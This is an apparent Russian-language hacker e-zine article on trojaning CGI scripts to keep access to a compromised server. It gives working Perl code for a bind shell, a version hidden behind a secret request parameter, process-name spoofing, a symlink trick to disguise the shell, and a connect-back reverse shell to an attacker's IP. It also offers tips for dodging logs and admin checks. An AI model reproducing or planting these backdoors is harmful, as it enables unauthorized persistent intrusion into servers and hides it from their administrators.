--------------------------------------------
#!/usr/share/doc/defaced/3/tandp/cgitroj.txt
--------------------------------------------
CGI TROJANS
-----------
[ by defaced staff ]
Есть неплохой (немного ламерский, правда, но работающий ;)) способ оставить
лазейку в систему, на случай если админ снимет руткит/бекдор/what_ever : загнать
нужный код в середину cgi-скрипта. Теперь подробнее. Вот простой bindshell код :
#!/usr/bin/perl
$port = 30009;
use Socket;
socket(T, AF_INET, SOCK_STREAM, 0) || die;
setsockopt(T, SOL_SOCKET, SO_REUSEADDR, 1) || die;
bind(T, sockaddr_in($port,INADDR_ANY)) || die;
listen(T,5);
accept(X,T);
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
system("/bin/sh -i");
close(T);
Я надеюсь тут всё понятно? Если нет, то советую почитать справочник по перлу.
Конечно перед вставкой в скрипт данный код нужно доработать. Во-первых, заставим
его включаться при получении нужного параматра :
if ($paramz{sess} eq "g0t_r00t"){
$port = 30009;
socket(T, AF_INET, SOCK_STREAM, 0) || die;
setsockopt(T, SOL_SOCKET, SO_REUSEADDR, 1) || die;
bind(T, sockaddr_in($port,INADDR_ANY)) || die;
listen(T,5);
accept(X,T);
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
system("/bin/sh -i");
close(T);
}
Кстати, я рекомендую вызыввать скрипт запросами POST, т.к. GET банально
логируются. Во-вторых, нужно сменить название процесса скрипта:
if ($paramz{sess} eq "g0t_r00t"){
$port = 30009;
$proc = "httpd";
for ($i=0;$i<60;$i++){ $proc=$proc."\000"; }
$0=$proc;
...
}
Хех, это старый трюк. Так лучше, но теперь ещё проблема: после запуска шелла
его будет видно через ps/top/etc. Есть способ изменить название процесса (тоже
ламерский, но удобный ;) :
system("ln -s /bin/sh /tmp/ls"); # создаём ссылку на шелл
system("/tmp/ls -i"); # и запускаем её
После такой вещи в списке процессов процесс с шеллом будет называться "/tmp/ls
-i". Но это конечно очень простой пример. Вот кое-что поинтереснее : connect
back код:
if ($paramz{sess} eq "g0t_r00t"){
$port=31337;
if (defined $paramz{myip}){ $host=$paramz{myip}; }
else { print "Error!\n"; exit;}
socket(REV, AF_INET, SOCK_STREAM, 0);
if (!connect( REV, sockaddr_in( $port,inet_aton($host))) ){ print "cant connect\n"; exit; }
else {
open STDIN, "<&REV";
open STDOUT, ">&REV";
open STDERR, ">&REV";
system("/bin/sh -i");
}
close(REV);
}
Он пригодится, если взламываемая машина защищена файрволом, который к примеру
блокирует все входящие соединения для всех портов, кроме 80.
Целью этой статьи было не научить людей писать сетевой софт на перле, и уж тем
более это не step-by-step руководство как троянить cgi скрипты. Я хотел просто
навести на мысль о том, что это вполне возможно. Админ хостинга врядли будет
проверять все скрипты пользователей...
На этом всё. Удачи!